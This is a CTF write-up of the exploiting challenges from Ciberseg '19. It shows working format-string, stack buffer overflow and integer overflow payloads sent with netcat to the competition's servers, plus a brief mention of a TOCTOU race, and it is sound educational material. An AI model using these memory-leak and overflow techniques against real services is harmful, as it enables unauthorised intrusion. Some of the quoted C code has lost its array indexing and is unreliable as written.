In this post I will explain my solutions for the challenges on the Ciberseg ‘19 CTF. Specifically, these are the ones corresponding to the exploiting category.

Ciberseg is an annual congress which takes place in the University of Alcalá de Henares. The truth is that previous years it has been always fun, and this year wasn’t less :) Also, the first places were disputed hard and there were last-time surprises :D (in the end, I literally won at the last hour by just a few points).

Anyways, these are the challenges and their solutions. Unfortunately, these challenges were all done on their servers, so I don’t have the resources needed to set them up and solve them by yourselves.


1.- Parrot (100 points)

The description of this message states:

We’ve found a parrot to manage the flags. We got him living in port 2323

This challenge consisted in a program which echoed exactly what he received. The problem is that it’s not correctly written and it doesn’t echo exactly whatever we send to it. For example, if we send %p it returns things like (nil), 0x8485632… Therefore, it’s vulnerable to a format strings exploitation.

To get the flag, we simply have to read the contents of the memory until we get the flag. For instance, I made this little script:

#!/bin/bash

for i in {1..20}
do
	printf "\n ---- %3d ---- \n" "$i"
	echo -e "AAAABBBB-%$i\$s\n" | nc ctf.alphasec.xyz 2323
done

At the tenth or eleventh try appears our flag: flag{passwordseña_dude}.


2.- Xorizo (125 points)

The description of this message states:

We made the definitive program to pass the Discrete Structures course, but when introducing the password, we are unable to decrypt the secret. The password is “estructurasdiscretasjeje”, but when we use it we get something incomprehensible.

This is the code:

void main(){

	char pass[24] = "xxxxxxxxxxxxxxxxxxxxxxxx";
	char x[10];

	char flag[24] = ...;

	char* res = malloc(24);

	scanf("%s", x);
	printf("%s\n", pass);

	int i;
	for(i = 0; i < 24; i++)
		res = pass ^ flag;

	printf("%s\n", res);

}

Can you bear us a hand? It’s running in ctf.alphasec.xyz:2424

After we connect, we’re asked for a password and then something is printed, but it seems to be just junk. However, if we introduce more than 10 characters, this printed string changes. As we have the code available, we can check that there’s a buffer overflow: buffer overflow:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void main ()
{
	char pass [24] = "xxxxxxxxxxxxxxxxxxxxxxxx";
	char x [10];

	char flag [24] = ...;

	char* res = malloc (24);

==>	scanf ("%s", x);	/* OVERFLOW! The input string is not checked to fit in X */
	printf ("%s\n", pass);

	int i;
	for (i = 0; i < 24; i++)
		res = pass ^ flag;

	printf ("%s\n", res);
}

As is shown in the highlighted line (:10), the input string is blindly copied into x without properly checking the boundaries, while that variable can only fit 10 Bytes (9 characters and the end of string delimiter, 0x00). Once we overflow the contents of x, we can overwrite pass.

After reading the input, the program performs an XOR between the variable pass and the flag. As we can control what value does pass have, we can extract the original value if the flag. But… Which is the appropriate value for pass?

We deduce that the value for pass have been calculated using flag \oplus pass. Knowing this, we can calculate that \left( flag \oplus pass \right) \oplus pass = flag to give the value estructurasdiscretasjeje to pass and we end up with the original value of flag.

Putting it all together, our exploit would be something like this:

printf "0123456789estructurasdiscretasjeje\n" | nc ctf.alphasec.xyz 2424

And we get the flag: flag{lohacehastaunperro}


3.- Numerao, numerao… (150 points)

The description of this message states:

Long live numeration!

In ctf.alphasec.xyz:2525 we have a system that only accepts positive integers, but above all it hates zeroes. If after operating with the inputs it got a 0… We don’t want to imagine what catastrophic results it could have.

The service running in the port 2525 asks for three numbers and then returns their sum. Clearly, the intention in this challenge is to force an overflow of the used data type so the numbers are treated as negatives. Specifically, this is about an int overflow: if we input a number greater than \fn_cm \frac {2^{32}}{2} - 1 = 2147483647 we can play with the three operands until we obtain 0.

In the end, the values I used were 2147483647, 2147483647 and 2:

echo -e "2147483647\n2147483647\n2" | nc ctf.alphasec.xyz 2525

When we manage to get the result 0, it returns the flag: flag{pavoreal_uuu}.


4.- Run Chicote (200 points)

This was the only challenge I couldn’t complete; but it was just a matter of exploiting the TOCTOU race condition (Time Of Check - Time of Use). If leave over here @KaoRz’s gist, who did managed to do it.

The code is pretty simple to understand: basically, we have to request (using HTTP) the resources /verify and /read simultaneously until we get to read the flag.


And that’s it. These challenges were shorter than the crypto ones.

I always enjoy Ciberseg’s challenges, and this year they were over the top. I hope to have time to compete next year. I’m sure they’ll excel again :)

I also want to congratulate the organizers for all their effort and their creativity to design challenges that differ from the usual.